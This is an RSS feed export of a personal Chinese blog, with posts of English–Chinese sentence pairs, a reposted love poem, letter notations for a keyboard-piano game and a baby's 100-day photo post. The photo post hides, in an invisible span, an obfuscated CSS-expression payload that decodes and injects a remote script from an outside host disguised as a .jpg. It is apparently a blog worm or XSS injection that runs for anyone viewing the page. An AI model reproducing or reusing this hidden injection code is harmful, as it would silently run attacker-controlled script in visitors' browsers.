人要衣装。 <br>180. Did you miss the bus? 你错过公共汽车了? <br>181. Don't lose your head。 不要惊慌失措。 <br>182. He can't take a joke． 他开不得玩笑。 <br>183. He owes my uncle $100．他欠我叔叔100美元。 <br>184. How are things going? 事情进展得怎样? <br>185. How are you recently? 最近怎么样? <br>186. I know all about it． 我知道有关它的一切。 <br>187. It really takes time． 这样太耽误时间了。 <br>188. It's against the law． 这是违法的。 <br>189. Love me，love my dog． (谚语)爱屋及乌。 <br>190. My mouth is watering． 我要流口水了。 <br>191. Speak louder，please． 说话请大声点儿。 <br>192. This boy has no job． 这个男孩没有工作。 <br>193. This house is my own． 这所房子是我自己的。 <br>194. What happened to you? 你怎么了? <br>195. You are just in time. 你来得正是时候。 <br>196. You need to workout． 你需要去运动锻炼一下。 <br>197. Your hand feels cold． 你的手摸起来很冷。。 <br>198. Don't be so childish. 别这么孩子气。 <br>199. Don't trust to chance! 不要碰运气。 <br>200. Fasten your seat belt． 系好你的安全带。 <br> <br><br>201. He has a large income. 他有很高的收入。 <br>202. He looks very healthy． 他看来很健康。 <br>203. He paused for a reply． 他停下来等着·回答。 <br>204. He repaired his house． 他修理了他的房子。 <br>205. He suggested a picnic. 他建议搞一次野餐。 <br>206. Here's a gift for you． 这里有个礼物送给你。 <br>207. How much does it cost? 多少钱? <br>208. I caught the last bus. 我赶上了最后一班车。 <br>209. I could hardly speak． 我简直说不出话来。 <br>210. I'll have to try that． 我得试试这么做。 <br>211. I'm very proud of you． 我为你感到非常骄傲。 <br>212. It doesn't make sense. 这没有意义(不合常理)。 <br>213. Make yourself at home． 请不要拘礼。 <br>214. My car needs washing． 我的车需要洗一洗。 <br>215. None of your business! 与你无关! <br>216. Not a sound was heard. 一点声音也没有。 <br>217. That's always the case． 习以为常了。 <br>218. The road divides here. 这条路在这里分岔。 <br>219. Those are watermelons． 那些是西瓜。 <br>220. What a nice day it is! 今天天气真好! <br>221. What's wrong with you? 你哪里不对劲? <br>222. You are a chicken． 你是个胆小鬼。 <br>223. A lovely day，isn't it? 好天气，是吗? <br>224. He is collecting money． 他在筹集资金。 <br>225. He was born in New York． 他出生在纽约。 <br>226. He was not a bit tired． 他一点也不累。 <br>227. I will be more careful． 我会小心一些的， <br>228. I will never forget it． 我会记着的。 <br>229. It is Just what I need． 这正是我所需要的。 <br>230. It rather surprised me． 那事使我颇感惊讶。 <br>231. Just around the comer． 就在附近。 <br>232. Just for entertainment． 只是为了消遣一下。 <br>233. Let bygones be bygones． 过去的，就让它过去吧。 <br>234. Mother doesn't make up． 妈妈不化妆。 <br>235. Oh，you are kidding me． 哦，你别拿我开玩笑了。 <br>236. She has been to school. 她上学去了。 <br>237. Skating is interesting． 滑冰很有趣。 <br>238. Supper is ready at six． 晚餐六点钟就好了。 <br>239. That's a terrific idea! 真是好主意! <br>240. What horrible weather! 这鬼天气! <br>241. Which would you prefer? 你要选哪个? <br>242. Does she like ice-cream? 她喜欢吃冰淇淋吗? <br>243. First come first served． 先到先得。 <br>244. Great minds think alike． 英雄所见略同。 <br>245. He has a sense of humor． 他有幽默感。 <br>246. He is acting an old man． 他正扮演一个老人。 <br>247. He is looking for a job． 他正在找工作。 <br>248. He doesn't care about me． 他并不在乎我。 <br>249. I develop films myself． 我自己冲洗照片。 <br>250. I felt no regret for it． 对这件事我不觉得后悔。 <br>251. I get up at six o'clock． 我六点起床。 <br>252. I meet the boss himself． 我见到了老板本人。 <br>253. I owe you for my dinner. 我欠你晚餐的钱。 <br>254. I really enjoyed myself． 我玩得很开心。 <br>255. I'm fed up with my work! 我对工作烦死了! <br>256. It's no use complaining. 发牢骚没什么用。 <br>257. She's under the weather． 她心情·不好。 <br>258. The child sobbed sadly． 小孩伤心地抽泣着。 <br>259. The rumor had no basis． 那谣言没有·根据。 <br>260. They praised him highly． 他们大大地表扬了他。 <br>261. Winter is a cold season. 冬天是一个，寒冷的季节。 <br>262. You can call me any time． 你可以随时打电话给我。 <br>263. 15 divided by3 equals 5． 15除以3等于5。 <br>264. All for one，one for all． 我为人人，人人为我。 <br>265. East,west，home is best． 金窝，银窝，不如自己的草窝。 <br>266. He grasped both my hands. 他紧握住我的双手。 <br>267. He is physically mature． 他身体己发育成熟。 <br>268. I am so sorry about this. 对此我非常抱歉(遗憾)。 <br>269. I can't afford a new car． 我买不起一部新车。 <br>270. I do want to see him now． 我现在确实很想去见他。 <br>271. I have the right to know. 我有权知道。 <br>272. I heard some one laughing. 我听见有人在笑。 <br>273. I suppose you dance much． 我想你常常跳舞吧。 <br>274. I walked across the park． 我穿过了公园。 <br>275. I'll just play it by ear． 我到时随机应变。 <br>276. I'm not sure I can do it． 恐怕这事我干不了。 <br>277. I'm not used to drinking． 我不习惯喝酒。 <br>278. Is the cut still painful? 伤口还在痛吗? <br>279. It's too good to be true! 好得难以置信。 <br>280. Jean is a blue-eyed girl． 珍是个蓝眼睛的女孩。 <br>281. Let's not waste our time． 咱们别浪费时间了。 <br>282. May I ask some questions? 我可以问几个问题吗? <br>283. Money is not everything． 金钱不是一切。 <br>284. Neither of the men spoke． 两个人都没说过话。 <br>285. Stop making such a noise． 别吵了。 <br>286. That makes no difference． 没什么区别。 <br>287. The price is reasonable． 价格还算合理。 <br>288. They crowned him king． 他们拥立他为国王。 <br>289. They're in red and white. 他们穿着红白相间的衣服。 <br>290. We all desire happiness. 我们都想要幸福。 <br>291. We just caught the plane 我们刚好赶上了飞机。 <br>292. What shall we do tonight? 我们今天晚上去干点儿什么呢? <br>293. What's your goal in life 你的人生目标是什么? <br>294. When was the house built? 这幢房子是什么时候建造的? <br>295. Why did you stay at home? 为什么呆在家里? <br>296. Would you like some help? 需要帮忙吗? <br>297. You mustn't aim too high 你不可好高骛远。 <br>298. You're really killing me! 真是笑死我了! <br>299. You've got a point there． 你说得挺有道理的。 <br>300. Being criticized is awful! 被人批评真是痛苦 <br><br>301. Did you enter the contest? 你参加比赛了吗? <br>302. Do you accept credit cards? 你们收信用卡吗? <br>303. Don't cry over spilt milk． 不要做无益的后悔。 <br>304. Don't let chances pass by． 不要让机遇从我们身边溜走。 <br>305. He owned himself defeated． 他承认自己失败了。 <br>306. He seems at little nervous． 他显得有点紧张。 <br>307. He strolls about the town． 他在镇上四处遛达。 <br>308. Her tooth ached all night. 她牙疼了一整夜。 <br>309. How about a drink tonight? 今晚喝一杯怎样? <br>310. I can do nothing but that. 我只会做那件事。 <br>311. I get hold of you at last． 我终于找到你了。 <br>312. I have a surprise for you．我有一个意想不到的东西给你看。 <br>313. I like all kinds of fruit． 我喜欢各种各样的水果。 <br>314. I saw it with my own eyes． 我亲眼所见。 <br>315. I will arrange everything． 我会安排一切的。 <br>316. I wish I knew my neighbor． 我很想认识我的邻居。 <br>317. I would like to check out． 我想结帐。 <br>318. It has be come much cooler． 天气变得凉爽多了。 <br>319. It's time you went to bed． 你早就该睡觉了。 <br>320. No spitting on the street． 禁止在大街上吐痰。 <br>321. She was totally exhausted． 她累垮了。 <br>322. Show your tickets，please． 请出示你的票。 <br>323. Thank you for your advice． 谢谢你的建议。 <br>324. That's the latest fashion． 这是最流行的款式。 <br>325. The train arrived on time． 火车准时到达。 <br>326. There go the house lights． 剧院的灯光灭了。 <br>327. They are paid by the hour． 他们按时取酬。 <br>328. Things are getting better． 情况正在好转。 <br>329. Wake me up at five thirty． 请在五点半叫醒我。 <br>330. We are all busy with work． 我们都忙于工作。 <br>331. Where do you want to meet? 你想在哪儿见面? <br>332. You can get what you want． 你能得到你想要的。 <br>333. A barking dog doesn't bite! 吠犬不咬人。 <br>334. Are you free this Saturday? 你这个星期六有空吗? <br>335. Be careful not to fall ill． 注意不要生病了。 <br>336. Being a mother is not easy． 做一个母亲是不容易的。 <br>337. Brevity is the soul of wit． 简洁是智慧的精华。 <br>338. Cancer is a deadly disease． 癌症是一种致命的疾病。 <br>339. Did you fight with others? 你又和别人打架了吗? <br>340. Don't dream away your time． 不要虚度光阴。 <br>341. Don't keep me waiting long． 不要让我等得太久。 <br>342. He has a remarkable memory． 他有惊人的记忆力。 <br>343. He has completed the task． 他完成了这个任务。 <br>344. He has quite a few friends． 他有不少的朋友。 <br>345. He is capable of any crime．他什么样的坏事都能干得出来。 <br>346. He walks with a quick pace． 他快步走路。 <br>347. He was not a little tired． 他很累。 <br>348. His looks are always funny． 他的样子总是滑稽可笑。 <br>349. How about going to a movie? 去看场电影怎么样? <br>350. I think I've caught a cold．我想我得了感冒。 <br>351. I was taking care of Sally. 我在照顾萨莉。 <br>352. I wish I lived in NEWYORK． 我希望住在纽约。 <br>353. I'm very glad to hear that． 很高兴听你这样说。 <br>354. I'm your lucky fellow then. 我就是你的幸运舞伴啦! <br>355. It's none of your business! 这不关你的事儿! <br>356. No littering on the campus． 在校园内不准乱丢废物。 <br>357. She is a good-looking girl. 她是一个漂亮女孩。 <br>358. She mended the broken doll． 她修补了破了的洋娃娃。 <br>359. So I just take what I want． 那么我只拿我所需要的东西。 <br>360. Spring is a pretty season， 春天是一个好季节。 <br>361. The figure seems all Right． 数目看起来是对的。 <br>362. The stars are too far away． 星星太遥远了。 <br>363. The whole world knows that． 全世界都知道。 <br>364. Tomorrow will be a holiday． 明天放假。 <br>365. We walk on the garden path． 我们走在花园小径上。 <br>366. What you need is just rest． 你需要的就是休息。 <br>367. What's your favorite steps? 你最喜欢跳什么舞? <br>368. You'd better let her alone．你们最好是让她一个人呆会儿。 <br>369. A lost chance never returns． 错过的机会永不再来。 <br>370. Don't let this get you down． 不要为此灰心丧气。 <br>371. He shot the lion with a gun. 他用枪把狮子打死了。 <br>372. I don't think you are right． 我认为你是不对的。 <br>373. I have never seen the movie． 我从未看过那部电影。 <br>374. I haven't seen you for ages． 我好久没见到你了。 <br>375. I was alone，but not lonely．我独自一人，但并不觉得寂寞。 <br>376. I went there three days ago． 我三天前去过那儿。 <br>377. It's a friendly competition． 这是一场友谊赛。 <br>378. It's very thoughtful of you． 你想得真周到。 <br>379. May I speak to Lora，please? 我能和劳拉说话吗? <br>380. Mr.Wang is fixing his bike． 王先生在修他的自行车。 <br>381. My brother is see king a job． 我弟弟正在找工作。 <br>382. Nancy will retire next year． 南希明年就退休了。 <br>383. Neither you nor he is wrong． 你没错，他也没错。 <br>384. Opportunity knocks but once． 机不可失，时不再来。 <br>385. She dressed herself hastily． 她匆忙穿上衣服。 <br>386. She hired a car by the hour．她租了一辆按钟点计费的汽车。 <br>387. Someone is ringing the bell． 有人在按门铃。 <br>388. The Smiths are my neighbors. 史密斯一家是我的邻居。 <br>389. These shoes don't fit right． 这双鞋不太合适。 <br>390. This is only the first half． 这才是上半场呢。 <br>391. This pen doesn't write well． 这钢笔不好写。 <br>392. Would you like a cup of tea? 你想喝杯茶吗? <br>393. You really look sharp today． 你今天真漂亮。 <br>394. Another cat came to my house． 又有一只猫来到我家了。 <br>395. Check your answers with mine．把你的答案跟我的核对一下。 <br>396. Don't keep the truth from me． 别瞒着我事实真相。 <br>397. Everything has its beginning． 凡事都有开端。 <br>398. He came to the point at once． 他一下子就说到了点子上。 <br>399. He fell behind with his work． 他工作落后了。 <br>400. He is the happiest man alive. 他是世界上最快乐的人。 401. He neither smokes nor drinks． 他既不抽烟也不喝酒。 <br>402. He ran his horse up the hill． 他策马跑上小山。 <br>403. He reminds me of his brother. 他使我想起了他的弟弟。 <br>404. He was efficient in his work． 他工作效率高。 <br>405. He will do anything but work．只要不是干活，他干什么都行。 <br>406. His father runs a restaurant． 他的父亲经营一家餐馆。 <br>407. I have something to tell you． 我有事要告诉你。 <br>408. I smelled a smell of cooking． 我闻到了烧菜做饭的味道。 <br>409. I want to see the film again． 我真想再看一遍。 <br>410. I've got too much work to do． 我要做的工作太多了。 <br>411. Let's go for a walk，shall we? 咱们出去走走，好吗? <br>412. Please let me check the bill． 请让我核对一下帐单。 <br>413. Plenty of sleep is healthful． 充足的睡眠有益于健康。 <br>414. The sun comes up in the east． 太阳从东方升起。 <br>415. This is because we feel pain． 这是因为我们能感到疼痛。 <br>416. What do you desire me to do? 你想要我做什么? <br>417. What you said was quite true. 你所说的完全符合事实。 <br>418. You can either stay or leave． 你或者留下或者离开。 <br>419. Your life is your own affair． 你的生活是你自己的事。 <br>420. All that glitters is not gold． 发闪光的不全是黄金。 <br>421. Are you going to have a party? 你要举行聚会吗? <br>422. Aren't you concerned about it? 难道你不担心吗? <br>423. Don't forget to keep in touch． 别忘了保持联系。 <br>424. He broke his words once again. 他又一次违背了诺言。 <br>425. He is in his everyday clothes． 他穿着平常的衣服。 <br>426. He is taller than I by ahead． 他比我高一头。 <br>427. He led them down the mountain． 他带他们下山。 <br>428. He was trained to be a lawyer． 他被培养成一名律师。 <br>429. I am afraid that l have to go． 我要走了。 <br>430. I don't have any cash with me． 我身上没带现金。 <br>431. I have been putting on weight． 我开始发胖了。 <br>432. I have just finished the book． 我刚刚读完这本书。 <br>433. I was late for work yesterday， 我昨天上班迟到了。 <br>434. It appears to be a true story． 这故事似乎是真的。 <br>435. I've got to start working out． 我必须开始做健身运动了。 <br>436. Japan is to the east of China． 日本在中国的东部。 <br>437. John asked Grace to marry him， 约翰向格雷斯求婚。 <br>438. My watch is faster than yours． 我的表比你的表快。 <br>439. New China was founded in l949． 1949年新中国成立。 <br>440. Thanks for your flattering me． 多谢你的夸奖。 <br>441. They charged the fault on him． 他们把过失归咎于他。 <br>442. This car is in good condition． 这车性能很好。 <br>443. This work itself is very easy． 这件工作本身很容易。 <br>444. Truth is the daughter of time． 时间见真理。 <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[326199283@qq.com(糖包的麻麻)]]></author>
<comments>http://326199283.qzone.qq.com/blog/1256411581#comment</comments>
<qz:effect>1032</qz:effect>
<pubDate>Sat, 24 Oct 2009 19:13:01 GMT</pubDate>
<guid>http://326199283.qzone.qq.com/blog/1256411581</guid>
</item>

<item>
<title><![CDATA[[转]The farthest distance in the world]]></title>
<link>http://326199283.qzone.qq.com/blog/1256410799</link>
<description><![CDATA[<br>The farthest distance in the world <br>Is not between life and death <br>But when I stand in front of you <br>Yet you don't know that I love you 　　 <br> <br>The farthest distance in the world <br>Is not when i stand in font of you <br>Yet you can't see my love <br>But when undoubtedly knowing the love from both <br>Yet cannot Be togehter　<br> <br>The farthest distance in the world <br>Is not being apart while being in love <br>But when plainly can not resist the yearning <br>Yet pretending <br>You have never been in my heart<br><br>The farthest distance in the world <br>Is not when plainly can not resist the yearning <br>Yet pretending <br>You have never been in my heart<br>But using one's indifferent heart <br>To dig an uncrossable river <br>For the one who loves you <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[326199283@qq.com(糖包的麻麻)]]></author>
<comments>http://326199283.qzone.qq.com/blog/1256410799#comment</comments>
<qz:effect>142606856</qz:effect>
<pubDate>Sat, 24 Oct 2009 18:59:59 GMT</pubDate>
<guid>http://326199283.qzone.qq.com/blog/1256410799</guid>
</item>

<item>
<title><![CDATA[[转]键盘钢琴(有空进来弹弹琴,真的可以弹的)]]></title>
<link>http://326199283.qzone.qq.com/blog/1241809628</link>
<description><![CDATA[                             <embed invokeURLs="false" allowNetworking="internal" allowscriptaccess="never" menu="false" id="flash0" width="602" height="438" src="http://flash.onlinedown.net/swf05/upflash/200606091122110.swf" /><br>下面26个字母，26个钢琴键(键盘请在关闭汉字输入法 然后点下上面的FLASH才可正常使用)，可以用a-z来弹，也可以用鼠标，呵呵，大家可以来试试 <br><span style="line-height:1.8em;"><span style="font-weight:bold"><wbr /></span><wbr /></span><wbr /><br><span style="line-height:1.8em;"><span style="line-height:1.8em;"><span style="color:#009966;line-height:1.8em;"><span style="font-weight:bold"><wbr />《月亮代表我的心》</span><wbr /></span><wbr /></span><wbr /></span><wbr /><br><span style="line-height:1.8em;"><span style="font-weight:bold"><wbr /><span style="color:#009966;line-height:1.8em;">LOQSONQS    STUVTS   QPOOO    QPOOO PQPOMPQP    LOQSONQS    STUVTS    QPOOO    QPOOO PQPMNOPO    QSQPOSN    MNMNMLQ    SQPOSN MNOOOPQP    LOQSONQS    STUVTS    QPOOO    QPOOO PQPMNOPO</span><wbr /></span><wbr /> </span><wbr /><br><br><span style="line-height:1.8em;"></span><wbr /><span style="line-height:1.8em;"><span style="font-weight:bold"><wbr />《童话》 LONOL LONOL LONO OOMMLLONOL LQPPO LONOM MMOTS PPRRQQ QQNPOONO ONOR LSRQPPPRRQQ QQVUTUV VPOT TTSSSLSRQQRQ QRQ RQPOOQST TTSPPRQ OQST TTSPPRQRQPO PQMMOONO</span><wbr /> </span><wbr /><br><br><span style="line-height:1.8em;"><span style="font-weight:bold"><wbr /><span style="font-weight:bold"><wbr /><span style="color:#996600;line-height:1.8em;">《安静》</span><wbr /></span><wbr /></span><wbr /> </span><wbr /><br><span style="line-height:1.8em;"><span style="font-weight:bold"><wbr /><span style="color:#996600;line-height:1.8em;">QQQQPONPPPO  LQPOOOLQPOOP</span><wbr /><span style="color:#996600;line-height:1.8em;">QQQQPONPPPO  LQPOOOLQPOOPPQR</span><wbr /><span style="color:#996600;line-height:1.8em;">RRRRQPOOOPP  LSSSRQPPPQQ</span><wbr /><span style="color:#996600;line-height:1.8em;">MRQRQPOONOL  QRQRQPOPS</span><wbr /><span style="color:#996600;line-height:1.8em;">LQRSRQSLQRSRQS  LQRSRQOPPPQO</span><wbr /><span style="color:#996600;line-height:1.8em;">SSOONOOSSOONOO  RRQQPPORRQQPPO</span><wbr /><span style="color:#996600;line-height:1.8em;">LQRSRQSLQRSRQS  LQRSRQOPPPQO</span><wbr /><span style="color:#996600;line-height:1.8em;">SSOONOOSSOONOO  RRQQPPOORQPOMOO</span><wbr /></span><wbr /> </span><wbr /><br><br><span style="line-height:1.8em;"><span style="font-weight:bold"><wbr /><span style="font-weight:bold"><wbr /><span style="color:#9900cc;line-height:1.8em;">《好好恋爱》</span><wbr /></span><wbr /></span><wbr /> </span><wbr /><br><span style="line-height:1.8em;"><span style="font-weight:bold"><wbr /><span style="color:#9900cc;line-height:1.8em;">JKLLLLLKJIIL  NNONOOOPQNNL</span><wbr /><span style="color:#9900cc;line-height:1.8em;">HMMMJMOLLLLJH  KKKJKLMMMOML</span><wbr /><span style="color:#9900cc;line-height:1.8em;">JKJJKLLLLJIHHO  NMLML</span><wbr /><span style="color:#9900cc;line-height:1.8em;">JHHMMLLLKJ  OOOONOPP</span><wbr /><span style="color:#9900cc;line-height:1.8em;">LRQLLRPLRQRQRQPO  ONMMQMQMLLQLQL</span><wbr /><span style="color:#9900cc;line-height:1.8em;">RQRQOP  LRQLLRSPLRQQQRQPQ</span><wbr /><span style="color:#9900cc;line-height:1.8em;">ONMMQMQMLLQLQPOM  OPNMNMNQPOO</span><wbr /></span><wbr /> </span><wbr /><br><br><span style="line-height:1.8em;"><span style="font-weight:bold"><wbr /><span style="font-weight:bold"><wbr />《痴心绝对》</span><wbr /></span><wbr /> </span><wbr /><br><span style="line-height:1.8em;"><span style="font-weight:bold"><wbr />OPQQQRQPPOPPSP  ONOOOQQOOMNNQNMLMMMRRQSO  MLMMMRROOMPOOPQQQRQPPOPPSP  ONOOOQQOOMNNQNMLMMRRQSO  MLMMMRROOONO</span><wbr /> </span><wbr /><br><br><span style="line-height:1.8em;"><span style="font-weight:bold"><wbr /><span style="color:#33ccff;line-height:1.8em;">《会呼吸的痛》</span><wbr /></span><wbr /> </span><wbr /><br><span style="font-weight:bold"><wbr /><span style="line-height:1.8em;"><span style="font-weight:bold"><wbr /><span style="color:#006600;line-height:1.8em;">STVTXXTW  WWVUVWXWSV </span><wbr /><span style="color:#006600;line-height:1.8em;">VUTUVRRRVVWVSSS SYXWXX  </span><wbr /></span><wbr /><span style="font-weight:bold"><wbr /><span style="color:#006600;line-height:1.8em;">STVTXXTW  WWVUVWXWSVV </span><wbr /></span><wbr /><span style="font-weight:bold"><wbr /><span style="color:#006600;line-height:1.8em;">VUTUVRRRVVWVSSS  STUVVUVV</span><wbr />  </span><wbr /></span><wbr /> </span><wbr /><br><span style="line-height:1.8em;"><span style="font-weight:bold"><wbr /><a href="http://imgcache.qq.com/qzone_v4/b.gif" target="_blank"><span style="line-height:1.8em;"><wbr /><a href="http://imgcache.qq.com/qzone_v4/b.gif" target="_blank"><img style="width:1px;height:1px;border:0;" src="http://imgcache.qq.com/qzone_v4/b.gif" /></a><wbr /></span><wbr /></a><wbr /></span><wbr /> <br><span style="line-height:1.8em;"><span style="line-height:1.8em;"><span style="font-weight:bold"><wbr /><span style="color:#ff3300;line-height:1.8em;">《欢乐颂》</span><wbr /></span><wbr /> </span><wbr /></span><wbr /><br><span style="line-height:1.8em;"><span style="line-height:1.8em;"><span style="font-weight:bold"><wbr /><span style="color:#ff3300;line-height:1.8em;">J J K L L K J I      H H I J J I I</span><wbr /></span><wbr /><span style="font-weight:bold"><wbr /><span style="font-weight:bold"><wbr /><span style="color:#ff3300;line-height:1.8em;">J J K L L K J I      H H I J I H H </span><wbr /></span><wbr /><span style="color:#ff3300;line-height:1.8em;">    I I J H I J K J H     I J K J I H I E </span><wbr /><span style="color:#ff3300;line-height:1.8em;">   J J K L L K J        I H H I J I H H </span><wbr /></span><wbr /></span><wbr /></span><wbr /><br><br><span style="line-height:1.8em;"><span style="line-height:1.8em;"><span style="font-weight:bold"><wbr /><span style="color:#ff3300;line-height:1.8em;">《小星星》</span><wbr /><span style="color:#ff3300;line-height:1.8em;">OOSSTTS   RRQQPPO </span><wbr /><span style="color:#ff3300;line-height:1.8em;">SSRRQQP   SSRRQQP</span><wbr /><span style="color:#ff3300;line-height:1.8em;">OOSSTTS   RRQQPPO</span><wbr /></span><wbr /> </span><wbr /></span><wbr /><br><span style="line-height:1.8em;"><span style="line-height:1.8em;"></span><wbr /></span><wbr /></span><wbr /></span><wbr /><br><span style="font-weight:bold"><wbr /><span style="font-weight:bold"><wbr /><span style="line-height:1.8em;"><span style="line-height:1.8em;"><span style="color:#66ccff;line-height:1.8em;">《千千阙歌》</span><wbr /> </span><wbr /></span><wbr /><br><span style="line-height:1.8em;"><span style="line-height:1.8em;"><span style="color:#66ccff;line-height:1.8em;">HHIJ LMONNNLJ </span><wbr /><span style="color:#66ccff;line-height:1.8em;">IIIJK MOQPPNL</span><wbr /><span style="color:#66ccff;line-height:1.8em;"><span style="color:#66ccff;line-height:1.8em;">HHIJ LMONNNLJ </span><wbr /><span style="color:#66ccff;line-height:1.8em;">IIIJK MOQPPNL</span><wbr />MLMLMNNMN PPPPNOPQQQPPPOQ NLMLMOPQQPQ QPOP OMM LMOP QQPQ QSTSQQQQPPOPOM  QQRQPOP QQ Q PPOP OMOO</span><wbr /> </span><wbr /></span><wbr /><br><span style="line-height:1.8em;"></span><wbr /></span><wbr /></span><wbr /><br><span style="font-weight:bold"><wbr /><span style="font-weight:bold"><wbr /><span style="color:#ff00cc;line-height:1.8em;"><span style="line-height:1.8em;"><span style="line-height:1.8em;">《婚礼进行曲》 </span><wbr /></span><wbr /><br></span><wbr /><span style="line-height:1.8em;"><span style="line-height:1.8em;"><span style="color:#ff00cc;line-height:1.8em;">HKKK HLJK HKNNMLKJKL HKKK HLJK HKMOMKILMKNMLII JKLL NMLII JKLL HKKK HLJK HKMOMKILMKILMKK</span><wbr /> </span><wbr /></span><wbr /><br><br><span style="color:#0000ff;line-height:1.8em;"><span style="line-height:1.8em;"><span style="line-height:1.8em;"><span style="font-family:'Verdana';line-height:1.8em;">《樱花》</span><wbr /><span style="font-family:'Verdana';line-height:1.8em;">MMN-   MMN-    (-延长音的意思) MNON  M<span style="text-decoration:underline;"><wbr />NM</span><wbr />K-   <span style="text-decoration:underline;"><wbr />(   </span><wbr />下划线是连音的意思)</span><wbr /><span style="font-family:'Verdana';line-height:1.8em;">J HJ K  J<span style="text-decoration:underline;"><wbr />JH</span><wbr />G-</span><wbr /> <span style="font-family:'Verdana';line-height:1.8em;">MMN－ MMN－</span><wbr /> <span style="font-family:'Verdana';line-height:1.8em;">JK<span style="text-decoration:underline;"><wbr />NM</span><wbr />K J－－－</span><wbr /> </span><wbr /></span><wbr /><br></span><wbr /><br><span style="color:#ff99ff;line-height:1.8em;"><span style="line-height:1.8em;"><span style="line-height:1.8em;">想唱就唱 </span><wbr /></span><wbr /><br></span><wbr /><span style="line-height:1.8em;"><span style="line-height:1.8em;"><span style="color:#ff99ff;line-height:1.8em;">onopol jkkklj onopol lmmmon onopqolj opolj onopqolo rqpoq qrst oopqp pqrs srqpq qrstss uuvuspq rqrs qrst oopqp pqs quuqv vuvtsoo tsrqrs ts qrst oopqp pqrs srqpq qrstss uuvuspq rqrs qrst oopqp pqs quuqv vuvtsoo tsrqrs</span><wbr /> </span><wbr /></span><wbr /><br><br><span style="color:#6666ff;line-height:1.8em;"><span style="line-height:1.8em;"><span style="line-height:1.8em;">梦里 </span><wbr /></span><wbr /><br></span><wbr /><span style="line-height:1.8em;"><span style="line-height:1.8em;"><span style="color:#6666ff;line-height:1.8em;">qqqqqqpo lmoooomq qqqqstsqp lpppppsq qqrs oopq llmoqpsq qqrs oopq llmoqpoo opqrsssrqrss ssssvtsq qqpo opm moppppqp opqrsssrqrss ssssvtsq qqpo opm mopqqqqpom qqqqqqpo lmoooomq qqqqstsqp lpppppsq qqrs oopq llmoqpsq qqrs oopq llmoqpoo opqrsssrqrss ssssvtsq qqpo opm moppppqp opqrsssrqrss ssssvtsq qqpo opm mopqqqqmp</span><wbr /> </span><wbr /></span><wbr /><br><br><span style="line-height:1.8em;"><span style="line-height:1.8em;"><span style="line-height:1.8em;"><span style="line-height:1.8em;">只要注意节奏就可以弹哦，挺有趣滴~~~<img src="http://imgcache.qq.com/qzone/em/e144.gif"><wbr /></span><wbr /> </span><wbr /></span><wbr /></span><wbr /></span><wbr /></span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[326199283@qq.com(糖包的麻麻)]]></author>
<comments>http://326199283.qzone.qq.com/blog/1241809628#comment</comments>
<qz:effect>134222345</qz:effect>
<pubDate>Fri, 08 May 2009 19:07:08 GMT</pubDate>
<guid>http://326199283.qzone.qq.com/blog/1241809628</guid>
</item>

<item>
<title><![CDATA[百岁]]></title>
<link>http://326199283.qzone.qq.com/blog/1229496858</link>
<description><![CDATA[<wbr /><a href="http://s13.photo.store.qq.com/http_imgload.cgi?/rurl4_b=eea751f8af3f4d172a735e7ffc1663445a59906d50b0322297fd38111efe476aa7fce90277c86f97b45c7857582bf3faba48811897c661dbe0e75f3d339023e103a93f6ec5ebd120fc1401fa69954cccb12f3d74" target="_blank"><img style="border:0;" src="http://s13.photo.store.qq.com/http_imgload.cgi?/rurl4_b=eea751f8af3f4d172a735e7ffc1663445a59906d50b0322297fd38111efe476aa7fce90277c86f97b45c7857582bf3faba48811897c661dbe0e75f3d339023e103a93f6ec5ebd120fc1401fa69954cccb12f3d74" /></a><wbr /><br><br><wbr /><a href="http://s13.photo.store.qq.com/http_imgload.cgi?/rurl4_b=eea751f8af3f4d172a735e7ffc166344bd88521eddc319068eedc6dd3af5f5898284fc81e37958a4c137fe006abfa8ed92aab01a7c8e647237d3e7371e5a151b35b286b7f8627f688992b53d14091eb35c158174" target="_blank"><img style="border:0;" src="http://s13.photo.store.qq.com/http_imgload.cgi?/rurl4_b=eea751f8af3f4d172a735e7ffc166344bd88521eddc319068eedc6dd3af5f5898284fc81e37958a4c137fe006abfa8ed92aab01a7c8e647237d3e7371e5a151b35b286b7f8627f688992b53d14091eb35c158174" /></a><wbr /><br><br><wbr /><a href="http://s3.photo.store.qq.com/http_imgload.cgi?/rurl4_b=eea751f8af3f4d172a735e7ffc16634475428d96e7f6656d0962f1be7726994dfbd239c8e32fcb0b30076d3b711d623bd928f89aacacd3cc5aca27409a195e7053a728afaa3f1fc260e4b0c1cda331228c1aab8f" target="_blank"><img style="border:0;" src="http://s3.photo.store.qq.com/http_imgload.cgi?/rurl4_b=eea751f8af3f4d172a735e7ffc16634475428d96e7f6656d0962f1be7726994dfbd239c8e32fcb0b30076d3b711d623bd928f89aacacd3cc5aca27409a195e7053a728afaa3f1fc260e4b0c1cda331228c1aab8f" /></a><wbr /><br><br><br><br><br><span style="color:#663333;font-family:'仿宋_GB2312';line-height:1.8em;">小胖子百岁了~</span><wbr /> <br><span style="color:#FFFFFF;line-height:1.8em;"><wbr />[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[326199283@qq.com(糖包的麻麻)]]></author>
<comments>http://326199283.qzone.qq.com/blog/1229496858#comment</comments>
<qz:effect>134218241</qz:effect>
<pubDate>Wed, 17 Dec 2008 06:54:18 GMT</pubDate>
<guid>http://326199283.qzone.qq.com/blog/1229496858</guid>
</item>

<item>
<title><![CDATA[搬家了]]></title>
<link>http://326199283.qzone.qq.com/blog/1227258811</link>
<description><![CDATA[ 博已搬家，新家地址：<a href="http://blog.sina.com.cn/2008freelion" target="_blank">http://blog.sina.com.cn/2008freelion</a><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[326199283@qq.com(糖包的麻麻)]]></author>
<comments>http://326199283.qzone.qq.com/blog/1227258811#comment</comments>
<qz:effect>134218240</qz:effect>
